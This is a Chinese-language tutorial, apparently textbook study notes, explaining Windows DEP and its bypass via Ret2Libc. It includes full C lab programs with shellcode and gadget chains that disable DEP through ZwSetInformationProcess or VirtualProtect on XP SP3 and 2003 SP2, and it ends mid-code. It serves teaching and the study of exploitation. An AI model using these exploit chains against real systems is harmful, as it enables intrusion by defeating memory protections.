数据与程序的分水岭:DEP

[TOC]

DEP 机制的保护原理

溢出攻击的根源在于计算机未明确区分数据和代码,DEP(数据执行保护,Data Execution Prevention)的基本原理就是将数据所在页面标识为不可执行。 image-20220618160130800

DEP 的主要作用

阻止数据页(如默认的堆页、各种堆栈页以及内存池页)执行代码。

根据实现的机制不同可分为:软件DEP(Software DEP)和硬件DEP(Hardware-enforced DEP)

软件DEP就是SafeSEH,阻止利用 S.E.H 的攻击。

硬件DEP需要CPU支持,AMD 称之为 No-Execute Page-Protection(NX),Intel 称之为 Execute Disable Bit(XD)。

操作系统通过设置内存页的 NX/XD 属性标记,来指明不能从该内存执行代码。内存的页面表(Page Table)中的标识位(NX/XD)来标识是否允许在该页上执行指令。标识位为 0 表示这个页面允许执行指令,设置为 1 表示该页面不允许执行指令。

DEP 工作状态:

(1)Option:默认仅将 DEP 保护应用于 Windows 系统组件和服务。但用户可以通过应用程序兼容性工具(ACT, Application Compatibility Toolkit)为选定的程序启用 DEP。DEP 可被程序动态关闭。

(2)Optout:为排除列表程序外的所有程序和服务启用 DEP,用户可以手动在排除列表中指定不启用 DEP 保护的程序和服务。DEP 可被应用程序动态关闭。

(3)AlwaysON:对所有进程启用 DEP 保护,不存在排序列表,DEP 不可被关闭。

(4)AlwaysOff:对所有进程禁用 DEP,DEP 不能动态开启。

和 DEP 密切相关的程序链接选项:/NXCOMPAT

在Visual Studio 2008 ( VS 9.0)中,可以在通过菜单中的 Project→ project Properties → Configuration Properties→ Linker→ Advanced→ Data Execution Prevention(DEP)中选择是不是使用/NXCOMPAT 编译程序,如下图所示。 image-20220618165748260

采用/NXCOMPAT 编译的程序会在文件的 PE 头中设置 IMAGE_DLLCHARACTERISTICS_NX_COMPAT 标识,该标识通过结构体 IMAGE_OPTIONAL_HEADER 中的 DllCharacteristics 变量进行体现,当 DllCharacteristics 设置为 0x0100 表示该程序采用了/NXCOMPAT 编译

操作系统中 DEP 一般工作在 Option状态,只保护系统核心进程,而经过 /NXCOMPAT 编译的程序在 Windows vista及后续版本中会自动启用 DEP 保护

DEP的局限:

(1)硬件 DEP 需要 CPU 支持。 (2)由于兼容性,windows 不能对所有进程开启 DEP 保护。 (3)/NXCOMPAT 编译选项,或者是 IMAGE_DLLCHARACTERISTICS_NX_COMPAT 的设置,只对 windows vista 以上的系统有效。 (4)当 DEP 工作在 Option 和 Optout 下时,DEP 是可以被动态关闭和开启的,这就说明操作系统提供了某些 API 函数控制 DEP状态。早期的 API 调用没有任何限制。

攻击未启用 DEP 的程序

DEP 保护对象是进程级的,当某个进程的加载模块中只要有一个模块不支持 DEP,这个进程就不能贸然开启 DEP,否则可能会发生异常。在此不做讨论。

利用 Ret2Libc 挑战 DEP

在 DEP 保护下溢出失败的根本原因是 DEP 检测到程序转到非可执行页执行指令了,如果让程序跳转到一个已经存在的系统函数中(必然处于可执行页上),DEP是不会拦截的。

Ret2Libc 是 Return-to-llibc 简写,只要为 shellcode 中的每条指令都在代码区找到一条替代指令,就能完成 exploit 想要的功能了。但这仅仅是理论上可行,实际上操作难度极大。

绕过 DEP 的 exploit 方法:

(1)通过跳转到 ZwSetInformationProcess 函数将 DEP 关闭后再转入 shellcode 执行。
image-20220618171923634

(2)通过跳转到 VirtualProtect 函数来将 shellcode 所在内存页设置为可执行状态,然后再转入 shellcode 执行。 (3)通过跳转到 VIrtualAlloc 函数开辟一段具有执行权限的内存空间,然后将 shellcode 复制到这段内存中执行。

Ret2Libc 实战之利用 ZwSetinformationProcess

将进程 DEP 保护关闭。

一个进程的 DEP 设置标识保存在 KPROCESS 结构中的 _KEXECUTE_OPTIONS 上,而这个标识可以通过 API 函数 ZwQueryInformationProcess 和 ZwSetInformationProcess 进行查询和修改。

题外话: 在有些资料中将这些函数称为 NtQueryInformationProcess 和 NtSetInformation Process,在 Ntdll.dll 中 Nt函数和 Zw函数功能是完全一样的,本书中我们统一称之为 Zw**。

_KEXECUTE_OPTIONS 的结构:

1
2
3
4
5
6
7
8
KEXECUTE_OPTIONS
Pos0ExecuteDisable :1bit
Pos1ExecuteEnable :1bit
Pos2DisableThunkEmulation :1bit
Pos3Permanent :1bit
Pos4ExecuteDispatchEnable :1bit
Pos5ImageDispatchEnable :1bit
Pos6Spare :2bit

前4个 bit 与 DEP 相关,当前进程 DEP 开启时 ExecuteDisable 位被置 1,当进程 DEP 关闭时 ExecuteEable 位被置 1,DisableThunkEmulation 是为了兼容 ATL 程序设置的,Permanent 被置 1 后表示这些标志都不能再被修改。

函数 NtSetInformationProcess:

1
2
3
4
5
ZwSetInformationProcess(
IN HANDLE ProcessHandle,
IN PROCESS_INFORMATION_CLASS ProcessInformationClass,
IN PVOID ProcessInformation,
IN ULONG ProcessInformationLength );

第一个参数为进程的句柄,设置为-1 的时候表示为当前进程;第二个参数为信息类;第三个参数可以用来设置_KEXECUTE_OPTIONS,第四个参数为第三个参数的长度。

关闭 DEP 的参数设置:

1
2
3
4
5
6
ULONG ExecuteFlags = MEM_EXECUTE_OPTION_ENABLE;
ZwSetInformationProcess(
NtCurrentProcess(), // (HANDLE)-1
ProcessExecuteFlags, // 0x22
&ExecuteFlags, // ptr to 0x2
sizeof(ExecuteFlags)); // 0x4

函数的参数中包含 0x00,会造成字符串复制时被截断。既然自己构造参数会出问题,那么就在系统中寻找已经构造好的参数。

如果一个进程的 Permanent 位没有设置,当它加载 DLL 时,系统就会对这个 DLL 进行 DEP 兼容性检查,当存在兼容性问题时进程的 DEP 就会被关闭。LdrpCheckNXCompatibility 函数,当符合以下条件之一时进程的 DEP 会被关闭: ( 1)当 DLL 受 SafeDisc 版权保护系统保护时; ( 2)当 DLL 包含有.aspcak、 .pcle、 .sforce 等字节时;
( 3) Windows Vista 下面当 DLL 包含在注册表“ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ Windows NT\CurrentVersion\Image File Execution Options\DllNXOptions ”键下边标识出不需要启动 DEP 的模块时。

在 Windows XP SP3 下 LdrpCheckNXCompatibility 关闭 DEP 的具体流程,以 SafeDisc 为例,如下图:

image-20220618173743193

模拟 LdrpCheckNXCompatibility 关闭 DEP 的流程,先想办法将 AL 赋值为1,然后转入执行 0x7C93CD24(CMP AL,1) 及后续指令来关闭 DEP,代码如下。

实验代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include<stdlib.h>
#include<string.h>
#include<stdio.h>
#include<windows.h>
char shellcode[]=
    "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
    "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
    "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
    "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
    "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
    "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
    "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
    "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
    "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
    "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
    "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90"
    "\x52\xE2\x92\x7C"//MOV EAX,1 RETN 地址
    "\x85\x8B\x1D\x5D"//修正 EBP
    "\x19\x4A\x97\x7C"//增大 ESP
    "\xB4\xC1\xC5\x7D"//jmp esp
    "\x24\xCD\x93\x7C"//关闭 DEP 代码的起始位置
    "\xE9\x33\xFF\xFF"//回跳指令
    "\xFF\x90\x90\x90";
void test()
{
    char tt[176];
    strcpy(tt,shellcode);
}
int main()
{
    HINSTANCE hInst = LoadLibrary("shell32.dll");
    char temp[200];
    test();
    return 0;
}

实验思路:

( 1)为了更直观地反映绕过 DEP 的过程,在实验中不启用 GS 和 SafeSEH。 ( 2)函数 test 通过向 str 复制超长字符串造成 str 溢出,进而覆盖函数返回地址。 ( 3)将函数的返回地址覆盖为类似 MOV AL,1 retn 的指令,在将 AL 置 1 后转入 0x7C93CD24 关闭 DEP。 ( 4)DEP 关闭后 shellcode 就可以正常执行了。

推荐使用的环境备 注
操作系统Window XP SP3
DEP 状态Optout
编译器VC++ 6.0
编译选项禁用优化选项
build 版本release 版本

实验步骤:

( 1)将 AL 置为 1,后执行关闭 DEP 指令。

找到类似 MOV AL,1 RETN 的指令。OllyFindAddr 插件的 Disable DEP —> Disable DEP <= XP SP3 搜索结果的 Step2 就是符合要求的指令。

image-20220619135451210

为避免 shellcode 在复制时被截断,需选择一个不包含 0x00 的地址,使用 0x7C92E252 覆盖函数的返回地址,让函数执行完后将 AL 置 1,然后返回控制流程。

先用小于 200 个0x90填充 shellcode,找出 tt[0] 的地址(0x0012FDB0)。然后在分析栈,找出 test() 的返回地址(0x0012FE64),来确定 shellcode 的长度为 184字节,shellcode 内容如下:

1
2
3
4
5
6
7
8
charshellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"……"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x52\xE2\x92\x7C" //MOV EAX,1 RETN 地址
;

调试运行,在 0x7C92E257(retn)处暂停程序,查看堆栈 ESP=0012FE68,指向 test() 返回地址下方,retn 将返回到 ESP 指向的内存空间(0x7C930200)。

image-20220619162125082

所以我们要在 0x0012FE68 放上 0x7C93CD24(cmp al,1),来让程序转入关闭 DEP 流程,如下所示。

1
2
3
4
5
6
7
8
9
charshellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"……"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x52\xE2\x92\x7C" //MOV EAX,1 RETN 地址
"\x24\xCD\x93\x7C" //关闭 DEP 代码的起始位置
;

(2)产生异常,EBP 指向位置无法写入,解决问题

重新编译程序,在 0x7C93CD6F,即关闭 DEP 后的 retn 4 处下断点,然后运行。程序运行后,出现了异常,如下图。程序对 EBP-4 位置写入数据,但是 EBP 在溢出时候被破坏了,目前 EBP-4 为 90909090 不可写入,所以程序出现写入异常,在转入 0x7C93CD24 前我们需要将 EBP 指向一个可写的位置。

image-20220619172626766

通过类似 PUSH ESP POP EBP RETN 的指令将 EBP 定位到一个可写的位置,用 OllyFindAddr 插件可在 Disable DEP <= XP SP3 搜索结果的 Setp3 部分查看当前内存所有符合条件的指令,如下图所示。

image-20220619180931685

现在,筛选出合适指令,找出可写入而不影响后续指令的寄存器,显然,PUSH ESP POP EBP RETN 指令需要放在 mov al,1 之后,在关闭 DEP 之前。而不影响关闭 DEP 的寄存器只有 ESP,所以选择 PUSH ESP POP EBP RETN 指令序列。

(3)消除 EBP-4 被冲刷影响,修正 EBP

现在还有一个严重的问题,直接将 ESP 的值赋给 EBP 返回后, ESP 相对 EBP 位于高址位置,当有入栈操作时 EBP-4 处的值可能会被冲刷掉,进而影响传入 ZwSetInformationProcess 的参数,造成 DEP 关闭失败。我们先用 0x5D1D8B85 处的 PUSH ESP POP EBP RET 4 指令来修正 EBP,然后调试根据堆栈情况来消除 EBP-4 被冲刷的影响。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
charshellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"……"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x52\xE2\x92\x7C" //MOV EAX,1 RETN 地址
"\x85\x8B\x1D\x5D" //修正 EBP
"\x24\xCD\x93\x7C" //关闭 DEP 代码的起始位置
;

重新编译程序后调试,在 0x7C95683B 处(CALL ZwSetInformationProcess)下断点,待程序中断后观察堆栈情况。如下图所示,EBP-4 中的内容已经被覆盖为 0x22,根据_KEXECUTE_OPTIONS 结构我们知道 DEP 只和结构中的前 4 位有关,只要前 4 位的二进制代码为 0100 就可关闭 DEP,而 0x22(00100010)刚刚符合这个要求,所以用 0x22 冲刷掉 EBP-4 处的值还是可以关闭 DEP 的。 image-20220620081243474

虽然我们已经关闭了 DEP,但是我们失去了进程的控制权。我们再来看看关闭 DEP 后程序返回时堆栈的情况。单步运行到 0x7C93CD6F 处(retn 4),发现 ESP 指向 0x0012FE70,此处值为 0x00000004,它就是关闭 DEP 时 PUSH 4 的结果,现在我们无法转入 shellcode 执行了,所以我们还需要对 ESP 或者 EBP 进行调整。 image-20220620082759710

(4)夺回程序控制权

ESP 值小于 EBP 时,防止入栈时破坏当前栈内容的调整方法就是减小 ESP和增大 EBP。由于 shellcode 位于内存低址,所以减小 ESP 会破坏 shellcode,而增大 EBP 的指令在本次实验中无法找到。一个变通方法是增大 ESP 到一个安全的位置,让 EBP 和 ESP 之间的空间足够大,这样关闭 DEP 过程中的压栈操作就无法冲刷到 EBP 的范围内了。

我们可以使用带有偏移量的 RETN 指令来增大 ESP,如 RETN 0x28 等指令可以执行 RETN 指令后再将 ESP 增加 0x28 个字节。我们可以通过 OllyFindAddr 插件中的 Overflow return address –> POP RETN+N 选项来查找相关指令。 image-20220620084553195

在选取指令时,不能对 ESP 和 EBP 有直接操作。否则会无法跳回 shellcode 执行。选择 0x7C974A19 处的 RETN 28,来增大 ESP。在关闭 DEP 前加入增大 ESP 指令地址。注意:修正 EBP 指令返回时带有的偏移量回影响后续指令,所以我们在布置 shellcode 时需加入相应填充。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
charshellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"……"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x52\xE2\x92\x7C" //MOV EAX,1 RETN 地址
"\x85\x8B\x1D\x5D" //修正 EBP
"\x19\x4A\x97\x7C" //增大 ESP
"\x90\x90\x90\x90" //jmp esp
"\x24\xCD\x93\x7C" //关闭 DEP 代码的起始位置
;

在 0x7C93CD6F 处中断程序,建议不要在加载完程序直接在 0x7C93CD6F 中断,先在 0x7C95683B(CALL ZwSetInformationProcess)处下断点,然后单步运行到 0x7C93CD6F,否则您会被中断到崩溃。堆栈情况如下图,增大 ESP 后关键数据没有被破坏。执行完 RETN 0x04 后 ESP 将指向 0x0012FE74,所以我们只要在 0x0012FE70 放置一条 JMP ESP 指令就能让程序转入堆栈执行指令。通过 OllyFindAddr 插件中的 Overflow return address –> Find CALL/JMP ESP 来搜索指令。

image-20220620120052278

image-20220620121426020

用 0x7DC5C1B4 处的 JMP ESP,然后在 0x0012FE70 处放一个长跳指令,让程序跳转到 shellcode 的起始位置来执行 shellcode,根据内存状态,可以计算处 0x0012FE74 距离 shellcode 起始位置(0x0012FDB0)有 200 个字节,所以需要回调 205个字节(+5 字节跳转指令长度)。

布置 shellcode,如下图所示

image-20220620123304414

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
charshellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"……"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x52\xE2\x92\x7C" //MOV EAX,1 RETN 地址
"\x85\x8B\x1D\x5D" //修正 EBP
"\x19\x4A\x97\x7C" //增大 ESP
"\xB4\xC1\xC5\x7D" //jmp esp
"\x24\xCD\x93\x7C" //关闭 DEP 代码的起始位置
"\xE9\x33\xFF\xFF" //回跳指令
"\xFF\x90\x90\x90"

将 shellcode 布置好后重新编译运行,调试,在 0x7C93CD6F 处下断点,然后单步运行,观察 程序执行流程。执行完 JMP ESP 后就能看到程序转入 shellcode。 image-20220620131557944

继续运行就能看到对话框了。 image-20220620131754734

补充:

微软在 Windows 2003 SP2 以后对 LdrpCheckNXCompatibility 函数进行了少许修改,对我们影响最大的是该函数在执行过程中会对 ESI 指向的内存附近进行操作。保证 ESI 指向的内存为可写内存,利用类似的指令如 push esp pop esi retn 来调整 ESI,这些指令显示在 OllyFindAddr 插件中 Disable DEP→Disable DEP >=2003 SP2 搜索结果的 step4 部分。

image-20220620145822498

这些指令不好找,这里介绍一种替代方法:

( 1)找到 pop eax retn 指令,并让程序转入该位置执行。 ( 2)找到一条 pop esi retn 的指令,并保证在执行( 1)中 pop eax 时它的地址位于栈顶,这样就可以把该地址放到 eax 中。 ( 3)找到 push esp jmp eax 指令,并转入执行。 这样就相当于执行了 push esp pop esi retn, esi 被指到了可写位置。下边我们给出一种可以在 Windows 2003 SP2 下边成功溢出的代码,大家可以自行调试,感受一下跳板执行选取和 shellcode 布局的思路。代码运行环境为 Windows 2003 SP2 中文版,代码中的各跳板地址可能需要重新调试。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include<stdlib.h>
#include<string.h>
#include<stdio.h>
#include<windows.h>
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xE9\x77\xBE\x77" //修正 EBP
"\x81\x71\xBA\x7C" //pop eax retn
"\x0A\x1A\xBF\x7C" //pop pop pop retn
"\x3D\x68\xBE\x7C" //pop esi retn
"\xBF\x7D\xC9\x77" //push esp jmp eax
"\x9B\xF4\x87\x7C" //retn 0x30
"\x17\xF5\x96\x7C" //关闭 DEP 代码的起始位置
"\x23\x1E\x1A\x7D" //jmp esp
"\xE9\x27\xFF\xFF" //跳转到 shellcode 起始地址
"\xFF\x90\x90\x90"
;
void test()
{
    char tt[176];
    strcpy(tt,shellcode);
}
int main()
{
    HINSTANCE hInst = LoadLibrary("shell32.dll");
    char temp[200];
    test();
    return 0;
}

Ret2Libc 实战之利用 VirtualProtect

Optout 和 AlwaysON 模式下所有进程是默认开启 DEP,这时如果一个程序自身偶尔需要从堆栈中取指令,则会发生错误。为了解决这个问题微软提供了修改内存属性的 VirtualProtect 函数,该函数位于 kernel32.dll 中,该函数可以修改指定内存的属性,包括是否可执行属性。因此只要我们在栈帧中布置好合适的参数,并让程序转入 VirtualProtect 函数执行,就可以将 shellcode 所在内存设置为可执行状态,进而绕过 DEP。

1
2
3
4
5
6
7
BOOL VirtualProtect(
LPVOID lpAddress,	//要改变属性的内存起始地址。
DWORD dwSize,	//要改变属性的内存区域大小。
DWORD flNewProtect,		//内存新的属性类型,设置为 PAGE_EXECUTE_READWRITE( 0x40)时该内存页为可读可写可执行。
PDWORD lpflOldProtect	//内存原始属性类型保存地址。
);
//修改内存属性成功时函数返回非 0,修改失败时返回 0。  

image-20220620151956530

[EBP+C]和[EBP+10]这两个参数是固定的,[EBP+8]和[EBP+14]这两个参数是动态确定的,要保证[EBP+8]可以落在我们可以控制的堆栈范围内,[EBP+14]要保证为一可写地址。

按照如下参数布置好栈帧就可以将 shellcode 所在内存区域设置为可执行模式。

1
2
3
4
5
6
BOOL VirtualProtect(
shellcode 所在内存空间起始地址,
shellcode 大小,
0x40,
某个可写地址
);

注意: ( 1)参数中包含 0x00,strcpy 在复制字符串的时候会被截断,所以我们不能攻击 strcpy 函数,改为攻击 memcpy 函数。 ( 2)对 shellcode 所在内存空间起始地址的确定,不同机器之间 shellcode 在内存中的位置可能会有变化,本次实验中我们在栈帧中构造方法动态确定 shellcode 所在内存空间起始地址。


实验代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include<stdlib.h>
#include<string.h>
#include<stdio.h>
#include<windows.h>
char shellcode[]=
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "……"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90"
    "\x8A\x17\x84\x7C" //pop eax retn
    "\x0A\x1A\xBF\x7C" //pop pop pop retn
    "\xBA\xD9\xBB\x7C" //修正 EBP
    "\x8B\x17\x84\x7C" //RETN
    "\x90\x90\x90\x90"
    "\xBF\x7D\xC9\x77" //push esp jmp eax
    "\xFF\x00\x00\x00" //修改内存大小
    "\x40\x00\x00\x00" //可读可写可执行内存属性代码
    "\xBF\x7D\xC9\x77" //push esp jmp eax
    "\x90\x90\x90\x90"
    "\x90\x90\x90\x90"
    "\xE8\x1F\x80\x7C" //修改内存属性
    "\x90\x90\x90\x90"
    "\xA4\xDE\xA2\x7C" //jmp esp
    "\x90\x90\x90\x90"
    "\x90\x90\x90\x90"
    "\x90\x90\x90\x90"
    "\x90\x90\x90\x90"
    "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
    "……"
    "\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
    ;
void test()
{
    char str[176];
    memcpy(str,shellcode,420);
}
int main()
{
    HINSTANCE hInst = LoadLibrary("shell32.dll");
    char temp[200];
    test();
    return 0;
}

实验思路:

( 1)为了更直观地反映绕过 DEP 的过程,我们在本次实验中不启用 GS 和 SafeSEH。 ( 2)函数 test 中通过向 str 复制超长字符串造成 str 溢出,进而覆盖函数返回地址。 ( 3)覆盖掉函数返回地址后,通过 Ret2Libc 技术,利用 VirtualProtect 函数将 shellcode 所在内存区域设置为可执行模式。 ( 4)通过 push esp jmp eax 指令序列动态设置 VirtualProtect 函数中的 shellcode 所在内存起始地址以及内存原始属性类型保存地址。 ( 5)内存区域被设置成可执行模式后 shellcode 就可以正常执行了。

推荐使用的环境备 注
操作系统Windows 2003 SP2
DEP 状态Optout
编译器VC++ 6.0
编译选项禁用优化选项
build 版本release 版本

实验步骤:

( 1)由于溢出时,EBP被覆盖破坏,先修复 EBP(把 ESP赋值给 EBP)

用 PUSH ESP POP EBP RETN 4 指令的地址(0x77ECE353)覆盖 test 函数的返回地址。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
char shellcode[]=
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90"
 "\x53\xe3\xec\x77" //修正 EBP 77ECE353
;

image-20220624203825690

retn 4 返回到 0x0012FE70(ebp+0x8) 处存储的地址(0x00000000)执行,如下图所示

image-20220624204155092

( 2)利用 VirtualProtect 函数将 shellcode 所在内存区域设置为可执行模式

  1. 修改属性的内存地址(ebp+0x8)设置为当前堆栈中的某个地址

现在我们的目标是动态覆盖掉 ebp+0x14,ebp+0x8,而要保证 ebp+0x10,ebp+0xC不变(由上面的分析可知,ebp+0x10,ebp+0xC 是两个固定参数)。

现在 ESP 刚好指向 EBP+8 的位置,如果此时我们能找到类似 MOV [EBP],** POP ** POP ** POP ** RETN 或者 MOV [EBP],** JMP **的指令就可以将要修改属性的内存地址设置为当前堆栈中的某个地址了。但是我们并没有找到这样的指令,我们不妨让 ESP 向下移动 4 个字节,然后执行一条 PUSH ESP RETN/JMP EAX 指令也能达到目的。那么什么样的指令能让 ESP 向高址方向移动 4字节,而不影响程序的控制?RETN指令,既能让 esp+4 又能收回程序控制权

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
char shellcode[]=
 	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 	"\x90\x90\x90\x90"
 	"\x53\xe3\xec\x77" //修正 EBP 77ECE353
 	"\x8B\x17\x84\x7C"//RETN
	"\x90\x90\x90\x90"
	"\xBF\x7D\xC9\x77"//push esp jmp eax
;

运行调试。在 0x7CBBD9BA(调整EBP 入口)处下断点。运行到 JMP EAX 时暂停程序,观察当前内存状态。如下图所示,已经成功将 EBP+0x8 写为当前堆栈中的地址。

image-20220626101743336

  1. 保证 EBP+0x14 处存放的地址为可写地址

让 ESP 指向 EBP+0x18,再用 PUSH ESP JMP EAX 指令来设置 EBP+0x14 的参数。

(1)观察堆栈,此时 ESP=0x0012FE70,EBP+0x14=0x0012FE7C,只需让 ESP 向高址方向移动 16 个字节,就能让 ESP 指向 EBP+0x18(=0x0012FE80)。使用类似 POP POP POP RETN指令(注意:不能修改 ESP、EBP、EAX)选用 0x7CBF1A0A 处的 POP ESI POP EBX POP EDI RETN 指令。

(2)用 PUSH ESP JMP EAX 指令设置 EBP+0x14 的参数。先要重新获得程序控制权,当前正在执行 jmp eax,所以要先使用 POP EAX RETN 指令地址覆盖 test() 返回地址,来将 0x7CBF1A0A 赋值给 EAX,才能执行 POP POP POP RETN指令。

(3)确定那两个固定参数,shellcode大小 0xff 就足够弹框代码用了,那个常量就用0x40。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
char shellcode[]=
 	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
